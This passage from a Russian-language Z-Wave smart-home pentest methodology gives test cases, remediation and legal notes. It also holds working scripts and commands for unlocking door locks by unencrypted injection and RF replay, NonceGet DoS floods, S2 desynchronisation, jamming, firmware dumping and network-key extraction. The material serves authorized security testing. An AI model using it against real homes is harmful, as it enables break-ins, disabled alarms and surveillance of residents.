Устройства, принимающие незашифрованные команды из сети (или с ненадлежащим обеспечением безопасности), могут управляться напрямую:
# Send unencrypted DOOR_LOCK OPERATION SET (unlock) — only works if device doesn't enforce security
door_lock_unlock = ZWave(homeid=TARGET_HOMEID, src=ATTACKER_NODE, dst=LOCK_NODE) / \
ZWaveReq(cmd_class=0x62, cmd=0x01, data=[0x00]) # 0x00 = unlock
send(door_lock_unlock)
| TC-008 | Внедрение незашифрованных команд |
|---|---|
| Цель | Управление актуатором без аутентификации |
| Метод | Инъекция BASIC SET или специфических для устройства кадров CC без инкапсуляции безопасности |
| Инструмент | waving-z + HackRF, Scapy-radio |
| Ожидаемая находка | Уязвимость: устройство принимает и выполняет команду |
| Критерий прохождения (безопасно): | Устройство отклоняет все незашифрованные команды; требует S2 Access Control |
| Оценка CVSS | 9.8 (Критический), если успешно |
| TC-009 | Внедрение широковещательных команд |
|---|---|
| Цель | Отправка широковещательных команд всем устройствам сети |
| Метод | Формирование кадров с HomeID и адресом назначения 0xFF (broadcast) |
| Инструмент | waving-z + HackRF |
| Ожидаемая находка | Устройства отвечают на широковещательные команды без аутентификации |
| Устранение | Включение безопасности для всех актуаторных CC |
| TC-010 | Тестирование принудительного применения Command Class |
|---|---|
| Цель | Проверить, что каждый Command Class требует соответствующего уровня безопасности |
| Метод | Отправка команды каждого CC без/с различными уровнями безопасности; запись ответов |
| Инструмент | Z-Wave JS API (авторизованный); пользовательские скрипты Scapy |
| Матрица тестов: | S0/S2-Access/S2-Auth/S2-Unauth/No-Security для каждого CC |
| Документация: | Соотношение фактических и ожидаемых требований безопасности |
Предыстория: S0 использует AES-128-OFB с nonce для предотвращения повторного воспроизведения. Однако: - Nonce должны запрашиваться свежими (поток Nonce Get → Nonce Report) - Если nonce предсказуемы или исчерпаны, открываются окна для replay - Ранние реализации Z-Wave имели слабости в последовательности nonce
Атака повторного воспроизведения S0:
# Step 1: Capture authenticated command (e.g., unlock door)
rtl_sdr -f 908420000 -s 2000000 -g 40 - | ./wave-in -u > capture.log
# Capture legitimate S0 Door Unlock sequence
# Step 2: Identify the S0 encapsulated frame
grep "98 " capture.log # 0x98 = COMMAND_CLASS_SECURITY
# Step 3: Wait for fresh nonce window (nonces expire after ~10 seconds in spec)
# Step 4: Replay captured frame sequence
cat unlock_sequence.cs8 | hackrf_transfer -t /dev/stdin -f 908420000 -s 2000000
Современная защита от повторного воспроизведения в S2: S2 использует SPAN (Singlecast Pre-shared Absolute Nonce) — CTR_DRBG, поддерживающий синхронизированное состояние между отправителем и получателем. Повторно воспроизведенные кадры отклоняются, так как счетчик получателя продвигается вперед. Однако атака десинхронизации CTR_DRBG (см. раздел DoS) может сбросить это состояние.
Использование waving-z для полного воспроизведения на уровне сигналов (обходит любой анализ на уровне кадров):
# Capture raw IQ of legitimate unlock sequence
hackrf_transfer -r unlock_raw.cs8 -f 908420000 -s 2000000 -l 32 -g 40
# Press Ctrl+C after capturing unlock command
# Replay raw IQ signal (no demodulation needed — hardware-level replay)
hackrf_transfer -t unlock_raw.cs8 -f 908420000 -s 2000000 -x 40 -R
# -R = repeat transmission
Этот подход — воспроизведение на уровне аппаратуры — он воспроизводит точную RF-формулу без какого-либо анализа протокола. Он эффективен против устройств с предсказуемыми окнами nonce.
| TC-011 | Повторное воспроизведение кадра S0 |
|---|---|
| Цель | Повторно воспроизвести захваченную команду S0 после истечения срока nonce |
| Метод | Захват последовательности S0; ожидание истечения срока nonce; повторное воспроизведение |
| Инструмент | waving-z + HackRF One |
| Ожидаемая находка | Уязвимость: команда выполнена; Безопасность: отклонена из-за несовпадения nonce |
| Критерий прохождения: | Устройство отклоняет повторно воспроизведенные кадры S0 |
| TC-012 | Повторное воспроизведение необработанного RF-сигнала |
|---|---|
| Цель | Повторно воспроизвести необработанный IQ-сигнал легитимной команды |
| Метод | Захват необработанного IQ; повторное воспроизведение без демодуляции |
| Инструмент | HackRF One + hackrf_transfer |
| Ожидаемая находка | Тестирование, вызывает ли воспроизведение на уровне сигнала действие устройства |
| Примечание: | Крайне эффективно против незашифрованных или слабых устройств S0 |
| TC-013 | Верификация защиты от повторного воспроизведения в S2 |
|---|---|
| Цель | Проверить, что S2 SPAN предотвращает атаки повторного воспроизведения |
| Метод | Захват кадра S2; попытка повторного воспроизведения; проверка отклонения |
| Инструмент | Z-Wave Zniffer + HackRF |
| Ожидаемая находка | Повторное воспроизведение S2 отклоняется верификацией nonce SPAN |
| Критерий прохождения: | Все повторно воспроизведенные кадры S2 отклоняются |
Обнаружено: Исследователями (статья на Arxiv: "Crushing the Wave", 2020)
Ссылка: https://arxiv.org/pdf/2001.08497
Затронуто: Все сети S0 и S2, где шлюз принимает NonceGet от S0
Механизм атаки: Спецификация Z-Wave требует от контроллера ожидать NonceReport в ответ на запрос NonceGet. Отправляя подмененные запросы NonceGet (используя легитимный, но «упавший» NodeID), злоумышленник может заставить контроллер бесконечно ожидать, фактически отключая все Z-Wave коммуникации.
# DoS via NonceGet flooding
from scapy.all import *
load_contrib('zwave')
import time
# Spoof NonceGet from a node that exists but isn't responding
def nonce_flood(homeid, spoofed_node, controller_node):
while True:
# Send NonceGet with spoofed source
pkt = ZWave(homeid=homeid, src=spoofed_node, dst=controller_node) / \
ZWaveReq(cmd_class=0x98, cmd=0x40) # Security NonceGet = 0x40
send(pkt)
time.sleep(0.5) # 2 packets per second sufficient for DoS
nonce_flood(TARGET_HOMEID, FAILED_NODE_ID, CONTROLLER_NODE_ID)
Влияние: Шлюз перестает обрабатывать все события от устройств и команды из смартфонного приложения. Вся сеть умного дома становится недоступной для всех участников.
Минимальная частота пакетов: Требуется всего ~2 пакета NonceGet каждые 3 секунды — крайне эффективный DoS.
Механизм: Злоумышленник отправляет подмененный запрос NonceGet для устройства S2. Шлюз отвечает NonceReport, переинициализируя свой CTR_DRBG. Реальное устройство (которое не отправляло NonceGet) имеет другое состояние CTR_DRBG. Все последующие сообщения S2 между устройством и шлюзом становятся недешифруемыми, что вызывает больше обменов NonceReport, создавая каскадный эффект.
# S2 SPAN Desynchronization
def span_desynch(homeid, s2_device_node, controller_node):
while True:
# Request S2 nonce from controller, spoofing the S2 device's NodeID
s2_nonce_get = ZWave(homeid=homeid, src=s2_device_node, dst=controller_node) / \
ZWaveReq(cmd_class=0x9F, cmd=0x01) # Security2 NonceGet
send(s2_nonce_get)
time.sleep(1)
Работа Z-Wave в диапазоне ниже 1 ГГц делает его относительно устойчивым к помехам Wi-Fi/Bluetooth, но его можно целенаправленно заглушить специальным глушителем:
# Continuous tone transmission (crude jamming) at Z-Wave frequency
# ONLY ON AUTHORIZED TEST HARDWARE IN SHIELDED ENVIRONMENT
hackrf_transfer -t /dev/zero -f 908420000 -s 2000000 -x 47
# Note: RF jamming is illegal on public frequencies under FCC regulations
# Only perform in shielded RF enclosure (Faraday cage) or authorized RF environment
Легитимная альтернатива тесту DoS: Отключение питания от контроллера Z-Wave и проверка ответа системы/поведения при восстановлении.
| TC-014 | DoS-флуд NonceGet в S0 |
|---|---|
| Цель | Отключение шлюза Z-Wave с помощью подмены NonceGet |
| Метод | Отправка 2 подмененных запросов NonceGet каждые 3 секунды на контроллер |
| Инструмент | Пользовательский Python-скрипт + HackRF/YARD Stick One |
| Ожидаемое влияние | Шлюз не реагирует на команды всех устройств |
| Оценка CVSS | 7.5 (Высокий) — DoS на уровне сети |
| Устранение | Ограничение частоты NonceGet; проверка NodeID относительно таблицы узлов |
| TC-015 | Десинхронизация S2 SPAN |
|---|---|
| Цель | Помешать устройству S2 общаться с контроллером |
| Метод | Подмена запросов S2 NonceGet для целевого устройства |
| Инструмент | Пользовательский Python-скрипт + HackRF |
| Ожидаемое влияние | Устройство S2 изолировано от сети |
| Примечание по влиянию: | Может помешать системе безопасности сообщать контроллеру |
| TC-016 | Атака на разряд батареи |
|---|---|
| Цель | Разрядить батарею батарейного устройства Z-Wave |
| Метод | Многократное пробуждение устройства широковещательными кадрами пробуждения |
| Инструмент | Пользовательский скрипт Scapy-radio |
| Ожидаемое влияние | Быстрая разрядка батареи; устройство уходит в офлайн |
| Устранение | Ограничение частоты; аутентификация пробуждения |
Z-Wave устройства поддерживают обновление прошивки «по воздуху» (OTA) через COMMAND_CLASS_FIRMWARE_UPDATE_MD (0x7A).
Проблемы безопасности: - Обновление прошивки без подписи позволяет установить вредоносную прошивку - Атаки понижения версии до уязвимых версий прошивки - Перехват канала OTA-обновления (человек посередине)
Тестирование безопасности OTA-обновлений:
# Step 1: Identify firmware update CC support
python ezrecon.py --homeid 0x1a2b3c4d --nodeid 5 | grep FIRMWARE
# Step 2: Extract legitimate firmware using Binwalk (if firmware binary obtained)
binwalk -e firmware.gbl # Silicon Labs .gbl format
binwalk -e firmware.hex # Intel HEX format
# Step 3: Analyze extracted firmware
checksec firmware.bin # Check for NX, ASLR, stack canaries
firmwalker firmware_dir/ # Scan for credentials, keys, hardcoded values
strings firmware.bin | grep -E "(password|key|secret|0x[0-9a-f]{32})"
# Step 4: Test OTA downgrade
# Use Z-Wave JS or Z-Wave PC Controller to attempt installing older firmware version
Формат прошивки GBL для Z-Wave (Silicon Labs):
# Verify GBL signature (Silicon Labs ECDSA signed firmware)
# Unsigned: reject
# Signed with known key: verify; look for weak key management
python3 -c "
import struct
with open('firmware.gbl', 'rb') as f:
header = f.read(8)
magic = struct.unpack('<I', header[:4])[0]
print(f'GBL Magic: {hex(magic)}') # Should be 0xEB17A603
"
Цель: микросхемы Silicon Labs EFR32 (серии 700/800):
Chip: EFR32ZG14 / ZGM130 / EFR32ZG23 (800 series)
Debug Interface: SWD (Serial Wire Debug)
JTAG: Available on development boards; disabled on production chips
Tools needed:
- SEGGER J-Link EDU (~$60)
- J-Link Commander or OpenOCD
- Target chip datasheet
Подключение J-Link SWD:
# Using J-Link Commander
JLinkExe -device EFR32ZG14P831 -if SWD -speed 4000
J-Link> connect
J-Link> halt
J-Link> mem 0x00000000 0x00040000 # Read Flash (256KB)
J-Link> savebin firmware_dump.bin 0x00000000 0x00040000
J-Link> exit
# Note: Production devices may have debug lock enabled
# Check: J-Link will report "Secured" if debug access is locked
Тестирование блокировки отладки:
# If debug interface is locked:
# 1. Attempt mass erase (will erase firmware but unlock interface)
J-Link> erase # Erases flash and resets debug lock
# 2. If mass erase is disabled — chip is fully secured
# 3. Advanced: power glitching may bypass lock (highly specialized)
Z-Wave устройства хранят сетевые ключи в энергонезависимой памяти (NVM/Flash). Если получен физический доступ к устройству:
# For devices with accessible SPI Flash (external memory):
# Connect CH341A to SPI flash chip
flashrom -p ch341a_spi -r nvram_dump.bin
# Locate Z-Wave network key in dump (look for 16-byte AES key patterns)
python3 -c "
with open('nvram_dump.bin', 'rb') as f:
data = f.read()
# Z-Wave NVM key storage offset varies by SDK version
# Typically at end of NVM: search for key patterns
for i in range(0, len(data)-16, 1):
block = data[i:i+16]
if block != b'\\xff' * 16 and block != b'\\x00' * 16:
if all(32 <= b <= 126 for b in block): # Printable
continue
print(f'Potential key at 0x{i:06x}: {block.hex()}')
"
| TC-017 | Принятие неподписанной OTA-прошивки |
|---|---|
| Цель | Убедиться, что устройство отклоняет неподписанную прошивку |
| Метод | Попытка OTA-обновления с неподписанной/модифицированной прошивкой |
| Инструмент | Функция OTA-обновления Z-Wave PC Controller; модифицированный файл .gbl |
| Ожидаемый результат | Безопасно: отклонена; Уязвимо: принята и прошита |
| Риск | Полная компрометация устройства; постоянная закладка |
| TC-018 | Атака понижения версии прошивки |
|---|---|
| Цель | Установить старую, уязвимую версию прошивки |
| Метод | OTA-обновление предыдущей версией прошивки |
| Ожидаемый результат | Безопасно: понижение отклонено; Уязвимо: принято |
| Устранение | Проверка версии в загрузчике |
| TC-019 | Доступ к интерфейсу отладки |
|---|---|
| Цель | Убедиться, что интерфейс отладки заблокирован на серийных устройствах |
| Метод | Подключение J-Link SWD; попытка чтения памяти |
| Ожидаемый результат | Серийные устройства должны возвращать «Secured» / включена защита от чтения |
| Критерий успеха: | Доступ к отладке заблокирован; чтение памяти не удается |
| TC-020 | Извлечение сетевого ключа из NVRAM |
|---|---|
| Цель | Извлечь сетевой ключ из физического устройства |
| Метод | Дамп SPI-флеш; анализ NVRAM |
| Ожидаемый результат | Ключ присутствует во флеш-памяти (риск: если устройство украдено) |
| Устранение | Аппаратный модуль безопасности; PUF (физически неклонируемая функция) для хранения ключей |
Даже без расшифровки содержимого, RF-отпечаток позволяет идентифицировать типы устройств и их поведенческие паттерны:
# Capture and analyze frame timing patterns
import subprocess
import re
# Parse waving-z output for timing analysis
process = subprocess.Popen(['./wave-in', '-u'],
stdin=subprocess.PIPE,
stdout=subprocess.PIPE)
frames = []
while True:
line = process.stdout.readline().decode()
if line:
timestamp = re.search(r'(\d+\.\d+)', line)
if timestamp:
frames.append(float(timestamp.group(1)))
# Analyze timing to identify device types
# Door lock wakeup: typically every 240 seconds
# Motion sensor: irregular, event-driven
# Smart plug: high frequency reporting
Даже при зашифрованном трафике S2 анализ метаданных раскрывает: - Какие узлы активны (NodeID источника/назначения в открытом виде) - Частота общения → вывод о типе устройства - Суточные паттерны → обнаружение присутствия - Длина кадра → вывод о типе команды
# Traffic metadata analysis
from collections import defaultdict
import time
node_activity = defaultdict(list)
def analyze_metadata(frame):
"""Extract metadata from Z-Wave frame without decryption"""
timestamp = time.time()
src_node = frame.src
dst_node = frame.dst
frame_len = len(frame)
is_encrypted = hasattr(frame, 'cmd_class') and \
frame.cmd_class in [0x98, 0x9F]
node_activity[src_node].append({
'time': timestamp,
'dst': dst_node,
'size': frame_len,
'encrypted': is_encrypted
})
# Occupancy inference: door lock activity between 7-9 AM and 5-7 PM
hour = time.localtime().tm_hour
if dst_node == LOCK_NODE and not is_encrypted:
print(f"[ALERT] Unencrypted door lock command at {hour}:00!")
| TC-021 | Анализ паттернов трафика |
|---|---|
| Цель | Извлечь конфиденциальную информацию из метаданных зашифрованного трафика |
| Метод | Сбор метаданных (NodeID, тайминг, размер кадра) в течение 24–48 часов |
| Инструмент | RTL-SDR + waving-z (пассивный, расшифровка не требуется) |
| Ожидаемый результат | Паттерны присутствия, поведенческие подписи устройств |
| Риск: | Нарушение конфиденциальности; возможность целенаправленных физических атак |
| TC-022 | Тестирование RF-сосуществования |
|---|---|
| Цель | Проверить стабильность Z-Wave при помехах в эфире (2.4 ГГц) |
| Метод | Работа Wi-Fi с высокой пропускной способностью рядом с Z-Wave устройствами |
| Ожидаемый результат | Z-Wave должен быть в значительной степени устойчив (разные диапазоны) |
| Примечание: | Диапазон ниже 1 ГГц изначально более устойчив, чем 2.4 ГГц |
Z/IP-шлюз связывает сети Z-Wave и IP. Он предоставляет классы команд Z-Wave через UDP/DTLS.
# Z/IP Gateway Discovery
nmap -sU -p 4123 192.168.1.0/24 # UDP port 4123 (Z/IP default)
# or
nmap -p 44123 192.168.1.0/24 # TCP port for some implementations
# Z/IP DTLS handshake test
openssl s_client -connect 192.168.1.100:4123 -dtls1_2
Большинство контроллеров Z-Wave предоставляют веб-интерфейсы (Home Assistant, SmartThings, Vera, OpenHAB):
# Standard web application testing against hub
nikto -h http://192.168.1.X:8123 # Home Assistant
burpsuite # Intercept and fuzz API calls
# Home Assistant Z-Wave JS REST API endpoints to test:
# POST /api/zwave_js/node/{node_id}/set_value
# POST /api/zwave_js/network/heal
# DELETE /api/zwave_js/node/{node_id}
# GET /api/zwave_js/node/{node_id}
# Test for authentication bypass:
curl -H "Authorization: Bearer INVALID_TOKEN" \
http://192.168.1.X:8123/api/zwave_js/node/5/set_value \
-d '{"commandClassName":"Door Lock","value":false}'
Многие Z-Wave хабы публикуют состояния устройств в MQTT-брокеры:
# Discover unauthenticated MQTT brokers
nmap -p 1883,8883 192.168.1.0/24 # 1883=plain, 8883=TLS
# Subscribe to all Z-Wave topics (unauthenticated broker)
mosquitto_sub -h 192.168.1.X -p 1883 -t "zwave/#" -v
# Publish unauthorized command via MQTT
mosquitto_pub -h 192.168.1.X -p 1883 \
-t "zwave/nodeID_5/DOOR_LOCK/currentMode/set" \
-m "Unsecured"
// Test for authorization on Z-Wave JS REST API
const axios = require('axios');
// Attempt unauthorized value set
try {
const response = await axios.post(
'http://localhost:8091/api/zwave/nodes/5/set_value',
{
commandClassName: 'Door Lock',
propertyName: 'currentMode',
value: 'Unsecured' // Unlock
}
// No authorization header
);
console.log('[VULNERABLE] Unauthorized command accepted!');
} catch (e) {
console.log('[SECURE] Unauthorized command rejected:', e.response.status);
}
| TC-023 | Тестирование аутентификации веб-интерфейса хаба |
|---|---|
| Цель | Проверить обход аутентификации, учётные данные по умолчанию, управление сессиями |
| Метод | Стандартный пентест веб-приложений к HTTP/HTTPS-интерфейсу хаба |
| Инструмент | Burp Suite, nikto, методология тестирования OWASP |
| Приоритетные тесты: | Учётные данные по умолчанию; обход аутентификации; CSRF; небезопасная прямая ссылка на объект |
| TC-024 | Аутентификация MQTT-брокера |
|---|---|
| Цель | Проверить MQTT-брокер на наличие контроля аутентификации |
| Метод | Попытка неаутентифицированного подключения; подписка на топики Z-Wave; публикация команд |
| Инструмент | mosquitto_sub/pub |
| Критерий успеха: | Брокер требует клиентский сертификат или имя пользователя/пароль |
| TC-025 | Безопасность DTLS Z/IP-шлюза |
|---|---|
| Цель | Проверить реализацию DTLS на известные уязвимости |
| Метод | Оценка безопасности TLS/DTLS |
| Инструмент | testssl.sh, openssl |
| Проверять: | Поддержка DTLS 1.0; слабые шифры; валидация сертификатов |
| TC-026 | Повышение привилегий через API |
|---|---|
| Цель | Проверить, могут ли маркеры API с низкими привилегиями выполнять операции с более высокими привилегиями |
| Метод | Получение ограниченного маркера API; попытка административных операций |
| Инструмент | Burp Suite, curl |
| Критерий успеха: | RBAC правильно применяется; области токена соблюдаются |
Z-Wave Long Range (представлен в 2020 г., обязателен для серий 700/800) расширяет дальность до 4 км и более с использованием: - OFDM-модуляции (вместо FSK для классического Z-Wave) - Повышенной мощности передачи (до +20 дБм вместо +13 дБм для классического) - US-каналы: 912 МГц (канал A), 920 МГц (канал B) - EU-каналы: 864 МГц и 866 МГц (переход согласно 2024B-3, апрель 2025) - Звёздной топологии (не mesh — устройства общаются напрямую только с контроллером) - Поддержка до 4 000 узлов на сеть (вместо 232 для классического Z-Wave)
ZWLR использует ту же систему безопасности S2, что и классический Z-Wave, но с дополнительными соображениями: - Бóльшая дальность означает возможность перехвата RF-сигнала на значительно большем расстоянии - Звёздная топология означает, что весь трафик проходит через контроллер — единственная точка отказа - Большее количество узлов увеличивает область атаки
На данный момент единственное поддерживаемое решение Zniffer для ZWLR требует: - Набор для разработки Silicon Labs WSTK Pro - Одновременного подключения как по Ethernet, так и по USB к WSTK - DHCP-сервера/маршрутизатора в той же Ethernet-сегменте
# ZWLR Zniffer point-to-point setup (no router available)
# 1. Static IP assignment on WSTK via Commander tool:
# Commander → Network Information → Disable DHCP → Set static IP 192.168.1.10
# 2. Set tester laptop static IP 192.168.1.1, subnet 255.255.255.0
# 3. Connect WSTK Ethernet directly to laptop Ethernet port
# 4. Open Z-Wave Zniffer
# 5. Tools → Zniffer Setup → Select ZWLR mode → Enter WSTK IP
# 6. In Zniffer, View → Enable All Frames (for wakeup beams and CRC errors)
Грядущее улучшение: Блог DrZWave сообщает, что разрабатывается решение Zniffer для ZWLR, работающее только через USB (ожидается в 2024–2025 гг.).
| TC-027 | Пассивный перехват ZWLR |
|---|---|
| Цель | Захватить трафик ZWLR на увеличенном расстоянии |
| Метод | Zniffer на базе WSTK, размещённый на максимальном расстоянии от цели |
| Ожидаемый результат | Трафик виден на значительно большем расстоянии, чем классический Z-Wave |
| РISK: | Атакующий может пассивно отслеживать на большем удалении |
| Устранение: | Шифрование S2 обязательно; нешифрованный трафик ZWLR не допускается |
| TC-028 | Тестирование понижения версии S2 в ZWLR |
|---|---|
| Цель | Проверить, применима ли атака Z-Shave к сопряжению ZWLR |
| Метод | Та же техника подмены NIF при включении устройства ZWLR |
| Ожидаемый результат | Атака понижения применима, если включена обратная совместимость S0 |
| TC-029 | Исчерпание узлов ZWLR |
|---|---|
| Цель | Проверить стабильность контроллера при большом количестве узлов |
| Метод | Регистрация большого количества тестовых узлов (авторизованное лабораторное тестирование) |
| Ожидаемый результат | Деградация производительности контроллера при достижении предельного числа узлов |
| ID ТК | Категория | Название теста | Критичность | Инструмент(ы) | Требуется аутентификация |
|---|---|---|---|---|---|
| TC-001 | Разведка | Пассивная идентификация HomeID | Инфо | RTL-SDR, waving-z | Нет |
| TC-002 | Разведка | Обнаружение нешифрованного трафика | Средняя | Zniffer, waving-z | Нет |
| TC-003 | Обнаружение | Активный перечень узлов | Низкая | EZ-Wave, Z-Wave JS | Частичная |
| TC-004 | Обнаружение | Перечень CC через NIF | Низкая | EZ-Wave, Zniffer | Нет |
| TC-005 | Криптография | Перехват ключа S0 | Критическая | Scapy-radio, EZ-Wave | Нет (только физическая близость) |
| TC-006 | Криптография | Понижение S2→S0 (Z-Shave) | Высокая | EZ-Wave, HackRF | Нет (физическая близость при сопряжении) |
| TC-007 | Криптография | Кража DSK через SmartStart | Высокая | Камера, QR-ридер | Физический доступ |
| TC-008 | Инъекция | Незашифрованная командная инъекция | Критический | waving-z, Scapy-radio | Нет |
| TC-009 | Инъекция | Широковещательная командная инъекция | Высокий | waving-z, HackRF | Нет |
| TC-010 | Протокол | Принудительное применение защиты CC | Средний | Z-Wave JS API | Доступ к контроллеру |
| TC-011 | Воспроизведение | Воспроизведение кадра S0 | Высокий | waving-z, HackRF | Нет |
| TC-012 | Воспроизведение | Воспроизведение необработанного RF-сигнала | Высокий | HackRF, hackrf_transfer | Нет |
| TC-013 | Воспроизведение | Проверка защиты S2 от повторного воспроизведения | Информация | Zniffer, HackRF | Нет |
| TC-014 | DoS | DoS-флуд S0 NonceGet | Высокий | Пользовательский Python, HackRF | Нет |
| TC-015 | DoS | Десинхронизация SPAN в S2 | Средний | Пользовательский Python, HackRF | Нет |
| TC-016 | DoS | Атака на разряд батареи | Средний | Scapy-radio | Нет |
| TC-017 | Прошивка | Прием OTA без подписи | Критический | Z-Wave PC Controller | Доступ к контроллеру |
| TC-018 | Прошивка | Понижение версии прошивки | Высокий | Z-Wave PC Controller | Доступ к контроллеру |
| TC-019 | Оборудование | Блокировка интерфейса отладки | Высокий | J-Link | Физический доступ |
| TC-020 | Оборудование | Извлечение ключа из NVRAM | Критический | CH341A, flashrom | Физический доступ |
| TC-021 | Физический | Анализ паттернов трафика | Средний | RTL-SDR, waving-z | Нет |
| TC-022 | Физический | Тестирование сосуществования RF | Низкий | Анализатор спектра | Нет |
| TC-023 | Шлюз | Аутентификация веб-интерфейса хаба | Высокий | Burp Suite, nikto | Сетевой доступ |
| TC-024 | Шлюз | Аутентификация MQTT-брокера | Высокий | mosquitto | Сетевой доступ |
| TC-025 | Шлюз | DTLS Z/IP Gateway | Средний | testssl.sh | Сетевой доступ |
| TC-026 | Шлюз | Повышение привилегий API | Высокий | Burp Suite, curl | Частичная аутентификация |
| TC-027 | ZWLR | Пассивная интерцепция ZWLR | Средний | WSTK Zniffer | Нет |
| TC-028 | ZWLR | Понижение версии S2 в ZWLR | Высокий | EZ-Wave, HackRF | Близкое расположение |
| TC-029 | ZWLR | Исчерпание узлов ZWLR | Низкий | Z-Wave JS | Доступ к контроллеру |
| ID / Название | Год | Критичность | Описание | Источник |
|---|---|---|---|---|
| Z-Shave | 2018 | Высокий | Понижение версии S2→S0 через неаутентифицированный NIF | Pen Test Partners |
| Уязвимость S0 с нулевым ключом | 2013 | Критический | Сетевой ключ передается с нулевым шифрованием | SensePost/Lstefanko |
| DoS S0 NonceGet | 2020 | Высокий | DoS шлюза через флуд NonceGet с подмененным NodeID | Arxiv 2001.08497 |
| Десинхронизация CTR_DRBG в S2 | 2022 | Средний | Десинхронизация nonce в S2 через подмену NonceGet | Arxiv 2205.00781 |
| Утечка DSK в SmartStart | 2019 | Средний | Физическая этикетка DSK позволяет несанкционированное включение | Z-Wave Alliance |
| Манипуляция таблицей маршрутизации | 2016 | Средний | EZ-Wave продемонстрировал нарушение маршрутизации на ShmooCon | Hall & Ramsey |
| OTA-обновление без подписи | Разные | Критический | Устройства принимают неподписанную прошивку | Разные производители |
| Хранение ключей в NVRAM | Разные | Критический | Сетевые ключи могут быть извлечены с физического устройства | Разные исследователи |
# Search NVD for Z-Wave CVEs
curl "https://services.nvd.nist.gov/rest/json/cves/2.0?keywordSearch=z-wave" | \
python3 -m json.tool | grep -E "(cveId|description)"
# Vendor-specific searches:
# Silicon Labs: https://www.silabs.com/support/product-security
# Z-Wave Alliance: https://z-wavealliance.org/security-advisories/
Используйте базовые баллы CVSS v3.1 со специфическими для Z-Wave корректировками:
Корректировка вектора атаки для Z-Wave: - Пассивный перехват на 100м: Смежная сеть (A) - Инъекция с передатчиком на 10м: Смежная сеть (A) - Требуется физический доступ: Физический (P)
Пример расчета CVSS для перехвата ключа S0:
AV:A/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H
AV=Adjacent, AC=High (only during pairing), PR=None, UI=Required (user must pair)
= CVSS 7.5 (High)
| Находка | Приоритет | Устранение |
|---|---|---|
| Устройства S0 в сети | КРИТИЧЕСКИЙ | Заменить на устройства, сертифицированные для S2 |
| Незашифрованные исполнительные CC | КРИТИЧЕСКИЙ | Включить S2 Access Control для всех исполнительных устройств |
| Возможно понижение S2→S0 | ВЫСОКИЙ | Принудительно использовать включение только S2; уведомлять о откате |
| Неаутентифицированный MQTT | ВЫСОКИЙ | Включить аутентификацию MQTT + TLS |
| Слабая аутентификация веб-интерфейса хаба | ВЫСОКИЙ | МФА; сильные пароли; HTTPS |
| Обновления прошивки без подписи | ВЫСОКИЙ | Принудительно проверять подпись прошивки |
| Незаблокированные интерфейсы отладки | ВЫСОКИЙ | Включить защиту от чтения в промышленных сборках |
| Ключ NVRAM не защищен аппаратно | СРЕДНИЙ | Реализовать аппаратный модуль безопасности |
| Этикетка DSK доступна | СРЕДНИЙ | Удалить/защитить физическую этикетку DSK после включения |
| Метаданные трафика видимы | НИЗКИЙ | Принять как неизбежное ограничение Z-Wave |
1. Executive Summary
- Business impact of findings
- Risk rating (Critical/High/Medium/Low)
- Key recommendations
2. Scope and Methodology
- HomeIDs in scope
- Testing locations/windows
- Tools and frameworks used
- Phase-by-phase methodology
3. Findings (per vulnerability)
- TC ID reference
- Technical description
- Evidence (packet captures, screenshots)
- CVSS score and rationale
- Proof of concept (steps to reproduce)
- Business impact
- Remediation recommendation
- References (RFC, CVE, research papers)
4. Network Map
- Topology diagram with NodeIDs
- Security levels per device
- Identified vulnerabilities per node
5. Appendices
- Raw packet captures (redacted if sensitive)
- Tool output logs
- Device inventory and firmware versions
┌─────────────────────────────────────────────────────────────┐
│ Z-WAVE PENTEST LAB │
├─────────────────────────────────────────────────────────────┤
│ │
│ Raspberry Pi 4 + RaZberry Shield (Controller) │
│ │ │
│ ├── Target Devices (buy for testing): │
│ │ ├── Z-Wave S0 door lock (Yale, Schlage older model) │
│ │ ├── Z-Wave S2 smart lock (Yale Conexis, Schlage BE489) │
│ │ ├── Z-Wave smart switch (Aeotec Smart Switch 7) │
│ │ └── Z-Wave motion sensor (Fibaro Motion Sensor) │
│ │ │
│ └── Attack Station (Kali Linux): │
│ ├── HackRF One (injection + reception) │
│ ├── RTL-SDR v4 (passive monitoring) │
│ ├── YARD Stick One (sub-1GHz specialized) │
│ └── UZB-7 stick (legitimate controller testing) │
│ │
│ Faraday cage or RF-shielded enclosure recommended │
└─────────────────────────────────────────────────────────────┘
# Update and install base dependencies
sudo apt-get update && sudo apt-get upgrade -y
sudo apt-get install -y gnuradio gr-osmosdr hackrf rtl-sdr \
python3 python3-pip libusb-1.0-0-dev cmake git
# Install HackRF tools
sudo apt-get install -y hackrf
hackrf_info # Test HackRF connection
# Install RTL-SDR
sudo apt-get install -y rtl-sdr
rtl_test -t # Test RTL-SDR connection
# Install Scapy with Z-Wave support
pip3 install scapy
python3 -c "from scapy.contrib.automotive.someip import *" # Test
# Clone and install EZ-Wave
git clone https://github.com/AFITWiSec/EZ-Wave
cd EZ-Wave && sudo ./install.sh
# Clone waving-z
git clone https://github.com/baol/waving-z
cd waving-z && mkdir build && cd build
cmake .. -DCMAKE_BUILD_TYPE=Release && cmake --build .
# Install Z-Wave JS UI via Docker
docker pull zwavejs/zwave-js-ui:latest
# Install Home Assistant for network visualization
docker pull homeassistant/home-assistant:stable
1. Open Wireshark
2. Go to Edit → Preferences → Protocols → Z-Wave
3. Enter captured S0 network key (32 hex characters)
4. Enable: "Try to decrypt S0 messages"
5. Apply and OK
6. Open .pcap file from Zniffer export
7. Filter: zwave || zwave_s0 || zwave_s2
Соединенные Штаты: - Computer Fraud and Abuse Act (CFAA) 18 U.S.C. § 1030: Несанкционированный доступ к компьютерам — получить явное письменное разрешение - Electronic Communications Privacy Act (ECPA): Защищает беспроводные коммуникации — для тестирования требуется авторизация - FCC Part 15: Устройства Z-Wave относятся к нелицензируемым в соответствии с Part 15 — тестирование на вашем оборудовании в вашем пространстве, как правило, разрешено; глушение общественных частот является НЕЗАКОННЫМ в соответствии с 47 U.S.C. § 333 - FCC Part 97: Любительская радиосвязь — не разрешает тестирование Z-Wave
Европейский Союз: - GDPR: Захваты трафика, содержащие персональные данные, имеют обязательства по защите данных - Директива NIS2: Применяется к критической инфраструктуре, использующей IoT - Директива по радиооборудованию (RED): Регулирует соответствие устройств Z-Wave в ЕС
Ключевой принцип: Авторизация должна быть явной, задокументированной и получена от законного владельца сети и всех устройств в ней.
